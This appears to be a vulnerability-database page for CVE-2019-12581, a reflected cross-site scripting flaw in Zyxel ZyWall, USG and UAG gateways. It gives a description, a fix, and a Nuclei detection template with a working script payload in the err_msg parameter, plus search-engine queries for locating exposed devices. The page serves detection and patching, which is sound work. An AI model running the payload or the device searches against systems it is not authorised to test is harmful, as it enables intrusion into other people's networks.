Browse / CVEs / CVE-2019-12581
CVE-2019-12581· zyxel / uag2100· CWE-79
Zyxel ZyWal/USG/UAG Devices - Cross-Site Scripting
Zyxel ZyWall, USG, and UAG devices allow remote attackers to inject arbitrary web script or HTML via the err_msg parameter free_time_failed.cgi CGI program, aka reflective cross-site scripting.
Impact
Successful exploitation of this vulnerability could allow an attacker to execute arbitrary script code in the context of the victim's browser, leading to session hijacking, defacement, or theft of sensitive information.
Fix
Apply the latest firmware update provided by Zyxel to fix the XSS vulnerability.
How to confirm it
Send: GET {{BaseURL}}/free_time_failed.cgi?err_msg=<script>alert(document.domain);</script>
Positive when: contains "<script>alert(document.domain);</script>" and "Please contact with administrator." AND contains in header "text/html" AND status 200Run it with nuclei: nuclei -id CVE-2019-12581 -u <target>. This check is not marked as verified by its authors.
The full check
id: CVE-2019-12581
info:
name: Zyxel ZyWal/USG/UAG Devices - Cross-Site Scripting
author: n-thumann
severity: medium
description: Zyxel ZyWall, USG, and UAG devices allow remote attackers to inject arbitrary web script or HTML via the err_msg parameter free_time_failed.cgi CGI program, aka reflective cross-site scripting.
impact: |
Successful exploitation of this vulnerability could allow an attacker to execute arbitrary script code in the context of the victim's browser, leading to session hijacking, defacement, or theft of sensitive information.
remediation: |
Apply the latest firmware update provided by Zyxel to fix the XSS vulnerability.
reference:
- https://www.zyxel.com/support/vulnerabilities-related-to-the-Free-Time-feature.shtml
- https://sec-consult.com/vulnerability-lab/advisory/reflected-cross-site-scripting-in-zxel-zywall/
- https://n-thumann.de/blog/zyxel-gateways-missing-access-control-in-account-generator-xss/
- https://nvd.nist.gov/vuln/detail/CVE-2019-12581
- https://www.zyxel.com/us/en/
classification:
cvss-metrics: CVSS:3.0/AV:N/AC:L/PR:N/UI:R/S:C/C:L/I:L/A:N
cvss-score: 6.1
cve-id: CVE-2019-12581
cwe-id: CWE-79
epss-score: 0.064
epss-percentile: 0.9373
cpe: cpe:2.3:h:zyxel:uag2100:-:*:*:*:*:*:*:*
metadata:
max-request: 1
vendor: zyxel
product: uag2100
shodan-query: http.title:"ZyWall"
fofa-query: title="zywall"
google-query: intitle:"zywall"
tags: cve,cve2019,zyxel,zywall,xss,vuln
http:
- method: GET
path:
- "{{BaseURL}}/free_time_failed.cgi?err_msg=<script>alert(document.domain);</script>"
matchers-condition: and
matchers:
- type: word
part: body
words:
- "<script>alert(document.domain);</script>"
- "Please contact with administrator."
condition: and
- type: word
part: header
words:
- "text/html"
- type: status
status:
- 200References
- https://www.zyxel.com/support/vulnerabilities-related-to-the-Free-Time-feature.shtml
- https://sec-consult.com/vulnerability-lab/advisory/reflected-cross-site-scripting-in-zxel-zywall/
- https://n-thumann.de/blog/zyxel-gateways-missing-access-control-in-account-generator-xss/
- https://nvd.nist.gov/vuln/detail/CVE-2019-12581
- https://www.zyxel.com/us/en/
Use this check only on systems you are authorised to test. Where the data comes from